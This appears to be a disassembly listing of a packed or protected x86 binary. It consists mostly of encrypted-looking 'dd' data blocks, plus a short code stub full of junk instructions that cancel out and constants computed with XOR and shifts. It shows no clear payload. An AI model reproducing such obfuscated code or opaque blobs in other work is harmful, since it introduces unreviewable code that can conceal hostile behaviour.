		dd 16FB0FAFh, 0DDBA3E7Bh, 70F6220Dh, 0B60062F1h, 6A3B78D3h
		dd 9B0482CBh, 0B36CB1F8h, 0CB54D990h, 0E5BEE3A6h, 0E0A70C49h
		dd 0E46BEA4Bh, 0BCDFE64Fh, 2905B1F5h, 0CC14775Ah, 42h
		dd 0BB6E757h, 0D74DADDFh, 1C372F57h, 0D7535797h, 23502F57h
		dd 0CA683966h, 369F228Fh, 3368EE6Dh, 0AAC27372h, 57D71810h
		dd 6841EA2Fh, 89AB14B2h, 0EE4A63C0h, 57D70018h,	0DD69C2AFh
		dd 7C52h, 0B5E77500h, 5AF7D80Eh, 1F99921Fh, 0ADCB3D5h
		dd 8DA6B600h, 95DC7F20h, 6508EB11h, 296872Ch, 1E3FFE9Dh
		dd 0E4DDCE53h, 0C76BFBFh, 0D2DB600h, 2242E340h,	0D348C66Bh
		dd 268DC352h, 7395337Dh, 0B6000C37h, 29F6220Dh,	44C7430Ah
		dd 841E3D0h, 0D351EB1Fh, 0B1BCAD72h, 0E5881986h, 0EBC007ACh
		dd 0A3F95B4Ah, 47E8FCD1h, 7A74A50Ah, 160FBD70h,	96CC56F0h
		dd 15B6C35Ah, 0C1453E77h, 0EB5E7DAh, 3DE4AED8h,	0FDDEB605h
		dd 0F03D165Fh, 0C1450C2Fh, 29763F5Eh, 430BB3Dh,	51FDC22Eh
		dd 0DC1101C7h, 0CBA0C5FAh, 9EBD266Ah, 2E733E5Fh, 8E9F04FDh
		dd 0AFE6852Ah, 0DC95B81Bh, 24418B57h, 298F529Dh, 9258A2Eh
		dd 4B60E74Ch, 940E3EAh,	9F2957BDh, 0C5FBC49Bh, 315DCE69h
		dd 0D87B2474h, 12B30C91h, 57000000h, 0C49B9F29h, 0CE69C5FBh
		dd 2A773E5Dh, 0B07CA7F1h, 1158FFCBh, 3970138Ch,	40092BF4h
		dd 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h,	0CD84A47Dh
		dd 0D792BF60h, 7F68FA4Ah, 89000027h, 4468240Ch,	89000053h
		dd 50682434h, 8900001Ch, 88682414h, 8B06AD66h, 0C4832434h
		dd 4EC8304h, 83242489h,	5A042404h, 170E68h, 24348900h
		dd 0FF08428Fh, 835A2434h, 348B04C4h, 0E3895324h, 4C381h
		dd 0C3810000h, 4, 5C241C87h, 0FB11D9E9h, 0F7EC08FFh, 83E48F91h
		dd 1468CADCh, 0B85FBCABh, 6AD6B8Dh, 0E0FFC503h,	1997F583h
		dd 58E40BE9h, 3B07C99Dh, 7FDEFD0Dh, 69640242h, 3B692B94h
		dd 4D6B2257h, 3B2EF927h, 4E3E6C22h, 0B625D02h, 50ECC33Ch
		dd 2B73F895h, 3BD4B76Fh, 200F2D4h
		dd 3452B085h, 39A0F951h, 3ADD48C4h, 3B570C09h, 104A9521h
		dd 3ECDE915h, 21E3B9E1h, 62B9A09Ch, 1160D459h, 0EFB6CC8h
		dd 6D2D8D8Dh, 89F506ADh, 0A805B98Dh, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0ECEC6F7Dh
		dd 8D0F97FBh, 6, 1B99BD31h, 85C706A8h, 6A81469h, 6CF4h
		dd 13E9h, 0AC7ACB00h, 330E5E6h,	0D22F725Bh, 37DB2776h
		dd 0CB9BD300h, 0BBD85C7h, 6A8h,	0F98B0000h, 0FFD98B66h
		dd 0A814A1B5h, 55006A06h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 8A0F1A89h, 6, 2FCFD681h
		dd 95FF517Ch, 6A820DDh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0ABC35242h, 3577C700h, 6673B013h, 6ADF8B66h
		dd 3195FF00h, 8B06A81Bh, 0B629EBC0h, 0F483733h,	91155164h
		dd 290E141Dh, 0D93C2608h, 0A814671Ah, 0A16E23A9h, 91F6961Eh
		dd 0A3069DF8h, 0CF6B0CD3h, 927C437h, 6E5D8D8Dh,	6A06ADh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 66BB35C3h, 0FDAD4BBh, 8D89D1B7h, 6A805B9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0AFC35141h, 66D95596h
		dd 0C7758FBBh, 0A8146985h, 611806h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 8A1347EAh
		dd 0FEEF480h, 85C7F6BFh, 6A80BBDh, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0E2C35545h
		dd 0F3FD09D8h, 0E9514F53h, 0Ah,	0B3FD4921h, 0D38C47Ah
		dd 0B5FFE72Fh, 6A83509h, 160DBD01h, 95FF06A8h, 6A820DDh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 7AC35141h
		dd 0A14D33B4h, 0B7C260C3h, 5985892Eh, 6A06A81Ah, 3195FF00h
		dd 8B06A81Bh, 0C268EBC0h, 241F9ECAh, 0A48A4109h, 0CC6CE185h
		dd 0E8207A87h, 74EB251Dh, 78291E2Ah, 719D4513h,	0B438B540h
		dd 0FDC2F6F9h, 5C1114BEh, 0D704DAC6h, 0A1C1CFA5h, 0DD80B8AFh
		dd 16264237h, 6C73F678h, 0DE6625E6h, 5295417Ah,	1DBCB146h
		dd 1D0BD591h, 24502B96h, 5BA0A118h, 0CFF8C3F9h,	3493C3DAh
		dd 591C7A9Bh, 465A9148h, 0E99C1D89h, 0EEh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 14C35141h, 5B882BAEh
		dd 8DD34301h, 0AD6F4AB5h, 858DF506h, 6AB3B9Bh, 0D88B6660h
		dd 810F56h, 5B000000h, 0E9D0FF61h, 13h,	2F527473h, 926EA2B2h
		dd 82E20198h, 0E8BF804Ah, 0C3F90882h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0D6C35545h,	0CF816660h, 66614AC0h
		dd 8A60D98Ch, 0A60ABAE6h, 0F6610293h, 840F04C1h, 4Eh, 11E9h
		dd 0AE0B7000h, 97202FF0h, 0C73EEF48h, 7291D055h, 0FB8B905Dh
		dd 0C032CB8Bh, 2BFD75AEh, 2BD9F7CFh, 49D78BF9h,	0EBD98Bh
		dd 13F20CDh, 0C00B0001h, 708D1874h, 8BFA8B0Ch, 0A75A6CBh
		dd 0B8FA7549h, 1, 8B09EBh, 0B8E4EBh, 0CF000000h, 0CB8160FCh
		dd 64D6150Fh, 85C761F8h, 6AD6F8Dh, 1013Fh, 11E8h, 0FFE7A400h
		dd 0C283321h, 0E8813C2Eh, 6A2A8864h, 9E823EBh, 0B000000h
		dd 0C839D832h, 4F137A00h, 5B5AF28Bh, 11BF6660h,	52CC8093h
		dd 70C38161h, 0E900005Ah, 8, 7591BDB6h,	88BF6076h, 0C9BEC033h
		dd 8B2B9B92h, 0E952033Ch, 0Ch, 78162642h, 0E66C73F6h, 7ADE6625h
		dd 2CEF815Ah, 0F70510Bh, 198Dh,	14E900h, 330A0000h, 5D7B884Bh
		dd 3CA8D13Fh, 1C5A47FBh, 119E8439h, 0EF81BB26h,	70C6EAD7h
		dd 887EBF60h, 0DE815C22h, 6DF4C06Ah, 0DDEF8161h, 0F971C483h
		dd 5BCEBE57h, 48F0874h,	0C3FBE03h, 5A565DC4h, 0D761E881h
		dd 810F063Bh, 0Bh, 58E0Fh, 81660000h, 81FBAAEAh, 3BD75DC0h
		dd 18860F06h, 0E8000000h, 0Eh, 14536AE2h, 70B97194h, 0AAAE259Eh
		dd 0BE6600EFh, 815EA681h, 0FFA6CCF8h, 32850FFFh, 0E8000000h
		dd 11h,	36CEA574h, 685B0103h, 44F340BFh, 0CFED4A21h, 8E9F9h
		dd 0C9F30000h, 8F9FD838h, 0E959F582h, 25h, 0E81427A9h
		dd 4FCE1C81h, 0D6816622h, 18E9C5F2h, 0E8FFFFFFh, 1B3EDB50h
		dd 615BA846h, 0BBF2A698h, 400D5BC4h, 60EB31h, 17h dup(0)
		dd 0E9000000h, 0B4Ah, 0B3EE9h, 796B6800h, 3FE906ADh, 68FFFB0Ch
		dd 6AD7A96h, 0FB0C35E9h, 7B0868FFh, 2BE906ADh, 69FFFB0Ch
		dd 0A00387CEh, 0CF70B6F3h, 0F95AE0A9h, 298A1055h, 7AC14508h
		dd 0F7BADB37h, 236E10B3h, 51183CE7h, 82CB6AD5h,	0BAA004h
		dd 0B6054808h, 0BA97BCFAh, 2E733A59h, 52F4BBFDh, 427F921Fh
		dd 0D48E520h, 89E77A0h,	19CD84A7h, 1F4F5FDFh, 55F3ADDCh
		dd 0AD86971Ch, 0FD4D7D55h, 0A7F11262h, 90DC1EC4h, 67BCEA5h
		dd 0E775B5D7h, 0E44FAF57h, 6202AD0Bh, 7014FF2Bh, 930CFF39h
		dd 0A708BEF3h, 385CCD84h, 0BDFB2C71h, 0B43455CEh, 57E71612h
		dd 6A43ECAFh, 52BC3ABCh, 74D95DBAh, 18119ED3h, 891A892Fh
		dd 0E278A5E8h, 852A6301h, 0F79B0494h, 0EF50153Ah, 80990643h
		dd 0B1F97397h, 0EDBBA19Dh, 0B46DDE5Ah, 0CF50DD94h, 0ACBAE7A2h
		dd 6AAED806h, 58AF5800h, 0FFD3D7FFh, 86B1AF57h,	0EE4A0325h
		dd 0A4C8FB59h, 53B715EDh, 617AD2A7h, 0D0715288h, 0F4397415h
		dd 0EA1CCAA3h, 0AF5872AEh, 0F77DBB94h, 5E46355h, 0D0F621B6h
		dd 662F49AAh, 0E748E039h, 0A8E1874Ah, 60D06BBFh, 0A9E527C3h
		dd 9BB605E4h, 0BFF6927Dh, 5E51317h, 6D46F1B6h, 753C5FC0h
		dd 5CFF0A31h, 0D9B2FB9Dh, 0EDA0C22Dh, 0DAC15740h, 0B4E7E6C3h
		dd 0FDDA180Dh, 0DFCAE8F4h, 3DEF15h, 0E7300000h,	0BA180DB4h
		dd 57D70800h, 0BBD9FAAFh, 47ED19F2h, 57D70505h,	0B0FD9EAFh
		dd 42A83A73h, 57D70038h, 7069C2AFh, 0E90B6966h,	65B33724h
		dd 0FFDDBA3Eh, 0C5321752h, 1BDFE0h, 0E7FA0000h,	0BA180DB4h
		dd 57D70800h, 8B70D9AFh, 52FFDDBAh, 6D10F317h, 0C5AFF424h
		dd 0EB5E7E0h, 0E1FFAED8h, 6AC5B5FFh, 0E20105C5h, 369DB5FFh
		dd 0DD716D6Dh, 0F5941477h, 0AF000001h, 0DC0AA9E7h, 622B4DB6h
		dd 0D7003036h, 0B8E6AF57h, 557D3457h, 0AF57D755h, 81A3042Fh
		dd 75DE60C8h, 15D47728h, 0A2FB3875h, 90B21DC9h,	0CAF15BDDh
		dd 30155CFFh, 4FF927C3h, 0AF57D74Bh, 8BAD1E39h,	0EC4C5DC2h
		dd 0DB4E7C7h, 3B59BA18h, 0BCFC2D72h, 0E8F4E9D6h, 0EF15DFCAh
		dd 63h,	0C0B4E730h, 57D78286h, 0FED740AFh, 0B31CBA09h
		dd 4556DB9Eh, 0AB0841E4h, 0E8202672h, 0FEAF57D6h, 57F17915h
		dd 0AF57D753h, 8B2D0631h, 0BAFDEA45h, 5454F61Ch, 2EAF57D7h
		dd 423CCD05h, 19827A3Ah, 52FF949Fh, 0B078C2F6h,	8962C1D3h
		dd 0BAE0C59Ch, 72550430h, 0F595487Eh, 49227BB8h, 4460EFh
		dd 0BA3B0000h, 0D6AEEA1Ch, 0BB94AF57h, 0B00BAA7Dh, 800BACBh
		dd 0D9AF57D7h, 0A0B93BBDh, 0C0BD31B9h, 58300206h, 66A2E4AFh
		dd 5CAF5830h, 6F58F3F3h, 0EA1CBA7Ah, 0AF57D6AEh, 284ABB94h
		dd 42293365h, 321752FFh, 0A9E7E0C5h, 55F3DC0Ah,	34569C1Ch
		dd 0AF57D700h, 5BC469C2h, 0CF357138h, 0AF0940E4h, 9D5CFF84h
		dd 3B6CB1FCh, 59BA6542h, 0FE2F7439h, 0BADCC9BAh, 0D6AEEA1Ch
		dd 0BB94AF57h, 0B00BAA7Dh, 0BA3CDACBh, 0C341EB11h, 0DDC652E7h
		dd 0DFCAE8F4h, 49EF15h,	4BF10000h, 57D6F931h, 0C860CBB2h
		dd 0DB4E7E3h, 800BA18h,	0DEAF57D7h, 0D71216B0h,	47F0AF57h
		dd 0D72119A3h, 48E3AF57h, 10F55EE0h, 52FFDDBAh,	6E10F317h
		dd 0BADFE23h, 0EA1CBA20h, 0AF57D6AEh, 887DBB94h, 54DF93h
		dd 0E7FA0000h, 0B3D90DB4h, 57D71109h, 75B5D7AFh, 4FAF57D7h
		dd 0A2C1E2E4h, 7C5546EBh, 0BAF73Ch, 0AF57D708h,	0BA8B70D9h
		dd 8BCBCB30h, 11931BE3h, 5256A0F4h, 0D380E1D9h,	98100996h
		dd 52FFF552h, 21C53217h, 0D74941FBh, 983BAF57h,	64C5BEFBh
		dd 0F22B88C1h, 0ACDF7DA6h, 0FA000000h, 0DC0AA9E7h, 622B4DB6h
		dd 0BA4CEC3Dh, 0AF57D786h, 1FF1327Ch, 0B62F2761h, 0ACCF50DDh
		dd 0A982CB6Dh, 0BFF6927Dh, 0FFB49379h, 0C330155Ch, 0DB4E7E6h
		dd 0F4FDDA18h, 15DFCAE8h, 0F0B9DCC7h, 1C3E7AB3h, 2Ah, 0DB4E727h
		dd 1E57F6D9h, 0B109891h, 93B31CBAh, 0D05851DEh,	57D71216h
		dd 6247F0AFh, 52FFDDBAh, 0E0C53217h, 3EDFh, 0B4E7FA00h
		dd 0BA180Dh, 0AF57D708h, 9558F5DEh, 68C0B9F4h, 4D042485h
		dd 0E9DEB7E0h, 52FFDDBAh, 3355F317h, 0AF57D6F7h, 600162CDh
		dd 0BAA08B2Dh, 9002E230h, 0BA2B258Ch, 514AD79Eh, 0FF3962C7h
		dd 6AAED85Ch, 58AF57D7h, 79B1CBFFh, 4BAF57D7h, 0F9AAF7E0h
		dd 2B94125Bh, 1ADC4108h, 0AF57D71Ch, 2C33FCD9h,	59FA4009h
		dd 302E733Ah, 0B6E2AFCFh, 0F8D3F117h, 440D3037h, 0A1D745C6h
		dd 0D3501D3Eh, 0D6F830DAh, 61CAAF57h, 85285288h, 7FB5FFE1h
		dd 878F4FD4h, 23B5FFE1h, 0FFEBE748h, 1E1477DCh,	28h, 155CFF21h
		dd 0D74A4E88h, 3859AF57h, 0DB772875h, 75F9119Eh, 0A3EDE523h
		dd 36FFF48Ch, 0F2B318A7h, 0E88948EBh, 517ECCA5h, 0FC9D5CFFh
		dd 0A33B6CB1h, 96EF0E6Fh, 0E74C25B8h, 994DF626h, 77B3D573h
		dd 4DAF5835h, 0DAB0B6E2h, 0A8B605A6h, 1B9D5B6Eh, 325459FAh
		dd 0B60592F6h, 918A63CCh, 0B902B215h, 5AFCE70Dh, 7918A17h
		dd 0AD9D5EC1h, 0E38324BCh, 9CE1D963h, 88A3BCADh, 9F00A69Fh
		dd 3C6DB2FFh, 0F0D30FFCh, 8F98054Ch, 9CD7DF29h,	18F3BCADh
		dd 10AF9B97h, 1A4E1F8Ah, 0D1000000h, 0DC0AA9E7h, 57D77EAAh
		dd 0C26344AFh, 8F70968Fh, 991AA0E9h, 38h, 0EA1CBABCh, 0AF57D6AEh
		dd 0AA7DBB94h, 58153516h, 1501BB6Fh, 0CBAF57D7h, 0A60B46E8h
		dd 0FF1D2375h, 953D7414h, 0AF57D795h, 3FEBC46Fh, 400D2E91h
		dd 0C16ECAE3h, 7358EEA7h, 179DFh, 0ABE7FA00h, 0E6C31308h
		dd 30155CFFh, 95E130BAh, 0B0C32191h, 0F4B59278h, 15DFCAE8h
		dd 1CEFh, 0ABE73000h, 0BA1308h,	0AF57D708h, 0BA7451FAh
		dd 1059FFDDh, 0DFE0C52Bh, 3Eh, 8ABE7FAh, 3BF398D2h, 0A86BAA63h
		dd 0B54D7CAEh, 58D0D041h, 800BA53h, 0D9AF57D7h,	0B5F517BDh
		dd 8FAF57D6h, 0D71E1AA4h, 86E4AF57h, 57D74444h,	3C153EAFh
		dd 0DDBA6643h, 2B1059FFh, 5CFFE0C5h, 314BF115h,	0AF57D6F9h
		dd 0E3C860CBh, 0B4E7E6C3h, 0B6AFE685h, 0C58CAF10h, 228FC264h
		dd 0DA84AF09h, 3474963Ch, 0EAF57D7h, 0F4A8F325h, 15DFCAE8h
		dd 5EEFh, 2C67F100h, 0AA7B2A00h, 0C6BFF692h, 1CBA4952h
		dd 57D6AEEAh, 4ABB94AFh, 0E13A672Eh, 0E65DF0B7h, 0DA1CBA01h
		dd 548C95CEh, 0B3B5E3BBh, 0AF583277h, 0BA05E24Dh, 0D6AEEA1Ch
		dd 0BB94AF57h, 0BA88F77Dh, 0BBD3559h, 0AF57D70Fh, 69615AF5h
		dd 0CBC8E38Ah, 61CE6AA3h, 0C59C89CCh, 43DFE0h, 0E7FA0000h
		dd 0BA180DB4h, 57D70800h, 58F5DEAFh, 1187901Dh,	1C1CAECCh
		dd 0E6AF57D7h, 0D7424680h, 1700AF57h, 7BA1453Eh, 57D6C9C1h
		dd 1890BBAFh, 3859BA13h, 0B9FF2875h, 52FFD4B3h,	69B6F39Fh
		dd 0C5624730h, 9C5DFFE0h, 3F68B5FCh, 1611D946h,	0E9AF57D7h
		dd 82C33FCh, 0C58FAEA0h, 524BE8A5h, 0BDCD1E98h,	9333E325h
		dd 5D36B8A7h, 5DFFE2C9h, 76168F14h, 4DE9BB7h, 0D0AD41ADh
		dd 29766F4Eh, 5D64CD66h, 0D630763Fh, 0AF58A90Fh, 74B9F094h
		dd 0E7D24A23h, 2E12DF00h, 4EEAA3C5h, 0FFFE558Ch, 5EA697FFh
		dd 1CAF57D7h, 0AF57D798h, 8EC7654Eh, 0D6DBDC2Ah, 9591AF57h
		dd 57AF57D7h, 0AF57D74Fh, 5951EB11h, 2BAF57D7h,	565EA800h
		dd 556F57D7h, 1CAE5CE7h, 7602C3CFh, 410C2E91h, 6B2E43DCh
		dd 3F182672h, 4900288Bh, 0FDE67CEFh, 4831550h, 2B8FA390h
		dd 85030653h, 423B14EBh, 1CE362A4h, 76A17CAAh, 7FED3652h
		dd 0E8595A2Ch, 285h
		dd 6EBCF594h, 59EDA8C5h, 8F1B52F6h, 0FF4B0E24h,	287E3354h
		dd 63040EA3h, 1737982Eh, 0C163CC5Ah, 0F2913288h, 6DFF6FBBh
		dd 54FDFDBh, 0B867A5B6h, 763F59BAh, 97DE7D22h, 0A813810Ah
		dd 482EC872h, 0B314B605h, 0B3F71195h, 91B60547h, 1235CDA6h
		dd 0B9C34057h, 0DB2D7952h, 0B60533DBh, 23C77CD0h, 0B2A5AB99h
		dd 0C15F99BCh, 6245B1BDh, 9E773A5Ch, 0AEF701A5h, 36D8AC72h
		dd 8D2B3167h, 0EF490C22h, 0D6541D40h, 0E512AE28h, 8B430A29h
		dd 15763CE7h, 0A6F73C79h, 268EAD72h, 0A3F04682h, 0D45932E4h
		dd 0B2091A12h, 982391BCh, 7A46D862h, 133CC35Fh,	20690CF7h
		dd 347919FAh, 96B51EE4h, 6BC952DFh, 377C3558h, 0AFD90DE6h
		dd 0CA0CEBCDh, 96179CB7h, 86699D26h, 4B0226E7h,	2DCB5E6h
		dd 7D1AE25Ch, 569C1C82h, 0BADC0234h, 0B357C0D0h, 26642D50h
		dd 0A97DE7Dh, 1F52F3DCh, 0F6325492h, 0CCD0BADBh, 0D82E8A63h
		dd 0D0BAF5DCh, 20C67DDFh, 686800E6h, 0C469C2D7h, 0BC6AD143h
		dd 1091DF0Ah, 5E8AA5DEh, 0CB197934h, 5A867FBCh,	69000001h
		dd 0A00387CEh, 0CF70B6F3h, 0F95AE0A9h, 298A1055h, 7AC14508h
		dd 0F7BADB37h, 236E10B3h, 51183CE7h, 82CB6AD5h,	0BAA004h
		dd 0B6055108h, 0E797BCFAh, 818DEFB5h, 0A0BF11CDh, 62D913B7h
		dd 0D74D107Dh, 64A64CECh, 0B6058782h, 0C14AD740h, 0A7E32553h
		dd 9DB60587h, 9B2DD9B2h, 0BCAD97F0h, 216C0DF6h,	0C30DABFCh
		dd 730CB068h, 2F8CEC7Ch, 0E856h, 1950F700h, 480D228Dh
		dd 7E3751F2h, 0AEEB8728h, 0DB96B718h, 61B1C04Fh, 96398DC0h
		dd 0C26DB9F4h, 0F45FEBA2h, 1A821851h, 528286C0h, 3A40B605h
		dd 0EB5E71Dh, 48D0AED8h, 99B2B605h, 29E88B14h, 0DE6C4508h
		dd 129FD675h, 6A902B89h, 0B2B9E2D0h, 0BAA0BCh, 0BCB2BA08h
		dd 227851FAh, 2264EC81h, 0BCB2B9E6h, 37B947D4h,	0D111F482h
		dd 96398D66h, 0E10FBBF2h, 0B1F963A7h, 0A2F621BCh, 9EDB77D8h
		dd 0ABE68768h, 7B1C870Dh, 0F6469036h, 6451649Eh, 61C248E0h
		dd 96398DC0h, 0E70DB9F4h, 0B28965A5h, 0A4F45FBCh, 16D775DEh
		dd 7BAEDA72h, 161D87ACh, 5DC6443Dh, 9033773Eh, 0F967A3EEh
		dd 91B17416h, 6DBEE3DCh, 63D87CCBh, 410F0547h, 5AF5C360h
		dd 0E8294CD5h, 0EA100940h, 6E96F060h, 96022173h, 3A32Ch
		dd 0B0860000h, 1158FFCBh, 3970138Ch, 40092BF4h,	6D2042E3h
		dd 733E5FC0h, 99D4752Eh, 0A2E78B14h, 0CD84A47Dh, 0D792BF60h
		db 4Ah,	0FAh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	7393h
		mov	[esp], esi
		mov	esi, 57591685h
		xor	esi, 62CF05C7h
		shl	esi, 6
		add	esi, 0A128A116h
		mov	edx, esi
		pop	esi
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 8
		sub	eax, 1684087h
		add	eax, ecx
		add	eax, 1684087h
		mov	[eax], edx
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		dw 0F97Dh
		dd 177E178Dh, 0B8591679h, 6AD7C15h, 0C38BC503h,	266E9h
		dd 8C666000h, 4C1F6D9h,	35840Fh, 16A0000h, 31F9B5FFh, 858D06A8h
		dd 6AB6971h, 8589D0FFh,	6A8268Dh, 0EFC1FE8Bh, 680Ch, 6A2006h
		dd 6857026Ah, 1000Dh, 268D95FFh, 32E906A8h, 0C6000000h
		dd 0A815D585h, 0DF685606h, 0FFA9C530h, 0A80F95B5h, 71858D06h
		dd 0FF06AB69h, 58589D0h, 8D06A814h, 0A8075585h,	406A5006h
		dd 0FF56056Ah, 0A8140595h, 0C36106h, 2 dup(0)
		dd 52000000h, 8B60D48Bh, 85890842h, 6AD7D42h, 890C428Bh
		dd 0AD7D3A85h, 10428B06h, 7D3E8589h, 0B58D06ADh, 6AD7D78h
		dd 8EA1858Dh, 0D0FF005Bh, 0CC25A61h, 42B58B00h,	8B06AD7Dh
		dd 0AD7D3A85h, 3EBD8306h, 6AD7Dh, 7840Fh, 6890000h, 2E9h
		dd 0CF068800h, 2 dup(0)
		dd 60D48B52h, 8908428Bh, 0AD7D4285h, 0C9B58D06h, 8D06AD7Dh
		dd 5B8EA185h, 61D0FF00h, 42858B5Ah, 0C206AD7Dh,	858B0004h
		dd 6AD7D42h, 8589008Bh,	6AD7D42h, 0CFh,	0B5896000h, 6AD7D9Fh
		dd 7D9B8589h, 858D06ADh, 6A82815h, 8944408Bh, 0AD7DD885h
		dd 0EB58D06h, 8D06AD7Eh, 5B8EA185h, 61D0FF00h, 7D9F858Bh
		dd 8BC306ADh, 0AD7D9B9Dh, 43B70F06h, 8BD8033Ch,	9D03785Bh
		dd 6AD7D9Bh, 324738Bh, 0AD7D9BB5h, 7B8B5606h, 1C738B20h
		dd 7D9BBD03h, 0B50306ADh, 6AD7D9Bh, 0FFC983FCh,	9F9D8B41h
		dd 8B06AD7Dh, 9B950317h, 8306AD7Dh, 28A04C7h, 840FC084h
		dd 0Fh,	850F033Ah, 0FFFFFFDCh, 0E7E94243h, 3AFFFFFFh, 0CD850F03h
		dd 5FFFFFFFh, 0B70FE1D1h, 48B0F04h, 9B850386h, 8906AD7Dh
		dd 0AD7D9F85h, 8BF08B06h, 81C18BCEh, 0AD7DD8BDh, 30000006h
		dd 0D850FC0h, 0C1000000h, 0FC2514E8h, 0E900000Fh, 8, 2512E8C1h
		dd 3FF8h, 7DD8BD8Bh, 0C8306ADh,	148B0607h, 24C28B07h, 8B813C81h
		dd 57840FC1h, 81000000h, 0AD7DD8BDh, 30000006h,	0D850FC0h
		dd 0C1000000h, 0FC250AE8h, 0E9003FFFh, 8, 2509E8C1h, 7FFFF8h
		dd 2Dh,	6088340h, 8000F7h, 840F0000h, 1Eh, 7DD8BD81h, 6ADh
		dd 840FC030h, 0Eh, 3FF825h, 808B00h, 83C06000h,	8DCF0608h
		dd 0AD7D4685h, 65858906h, 8D06A80Dh, 0AD7DDC85h, 0B9858906h
		dd 8D06A81Eh, 0AD7DA385h, 0F5858906h, 8D06A816h, 0AD803C8Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 5E123514h, 58909738h, 0F8C28BD4h, 5B98D89h
		dd 816606A8h, 0C7A118F2h, 0A8146985h, 6F9C06h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0CB83E112h, 8BBCE889h, 0A8349595h, 0BD85C706h, 6A80Bh
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 864DC357h, 66F7C001h, 0B5FFC38Bh
		dd 6A80E01h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	4FC35646h, 0BE66BA76h, 95FF2C4Fh, 6A820DDh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0A9C35545h, 191B8763h
		dd 6A83F4h, 1B3195FFh, 0C08B06A8h, 0BC6049EBh, 5DA888A2h
		dd 8266115Eh, 0DC4D84A6h, 2700CBECh, 0EA757DF5h, 0A5F925FBh
		dd 78B7871h, 168A4BC5h,	6055D774h, 0C68A9BA4h, 1F2133E8h
		dd 39654041h, 341B3413h, 0FF75E063h, 0D4DA76AFh, 98AC3406h
		dd 0E40B160Bh, 0EC5D777Fh, 761E121Dh, 0B02A36B1h, 25F3746Dh
		dd 4007607Fh, 0F97B1C3Bh, 57FDCD7Eh, 30808E8Bh,	0D032F08Bh
		dd 0F0D060FFh, 421C640Bh, 48015086h, 0F53DCC3Dh, 3832CD01h
		dd 1C26246Ah, 1046CD3Bh, 1F5F3948h, 0EE17EA4Bh,	2CB68B44h
		dd 0BD939262h, 10682C66h, 1BD12CBAh, 0F553EEB8h, 0E32CFCBh
		dd 73E4934h, 84DBCD3Bh,	9432CD3Bh, 0F8944386h, 0CDB13DB8h
		dd 3E9ADA1Eh, 0BB6C23Bh, 8432CD3Bh, 5F824F0h, 854CD3Bh
		dd 0A1CBADEBh, 673D926Bh, 7032CD3Bh, 0BDBFAC5Ah, 1A9F4D91h
		dd 9EF9465Dh, 0F5B9AB5Bh, 8DDA9D5Ah, 8C32CD3Bh,	60740EE4h
		dd 9886D460h, 0A4F48B1Ah, 45FD462Fh, 5E32A7ABh,	732CED3h
		dd 406AED3Bh, 0E5764463h, 0C4764C3Fh, 7032D43Fh, 0FB628D3Bh
		dd 3A5E7ED4h, 843D0D53h, 732CD3Eh, 9142A085h, 4DB7403Bh
		dd 8A3460BBh, 73DA9B3Bh, 1832CD3Bh, 956C0E65h, 8F36E94Fh
		dd 1136E97Fh, 0C532CD3Bh, 0AEA10E6Dh, 53E54C99h, 2054DBB6h
		dd 608C9F6Bh, 1359F18Ah, 54F8460Ah, 23364463h, 83354B34h
		dd 423DCD3Bh, 0E032CD3Ah, 45A732CEh, 0B3346521h, 97639EFBh
		dd 8D6C92C0h, 0AF2C1486h, 8A47CD3Dh, 0ECDB70B8h, 9432CB93h
		dd 0FB619D22h, 3C4875FBh, 99BBCD3Bh, 89ACA8Eh, 0A69E50B6h
		dd 50CDCB91h, 7CB19560h, 0E69AE0D2h, 2025B93Bh,	3C487568h
		dd 99BBCD3Bh, 89ACA8Eh,	99A950B6h, 50CDCB91h, 0C6DB9560h
		dd 7632CD3Bh, 407F5DA9h, 0B260CF80h, 0AB3D94F7h, 85F246F5h
		dd 73E24E8h, 0F4DDCD3Bh, 2796F076h, 0AB971696h,	0EDBF8611h
		dd 3E9F4DAFh, 1C324634h, 8BBFCD3Bh, 19FA3C9h, 242E735Bh
		dd 4A54F9ABh, 30CDACF9h, 9867CD51h, 3832CD38h, 41F1901Bh
		dd 0A16A1B2h, 31689BAh,	8332CD21h, 41F1987Eh, 29D513A6h
		dd 0B0390CFFh, 386E4934h, 7A52CD3Bh, 42F70DBAh,	0A8AF405Ah
		dd 0E9346574h, 0C2DA9D3Bh, 0C032CD3Bh, 0F96A0E63h, 0B936E97Fh
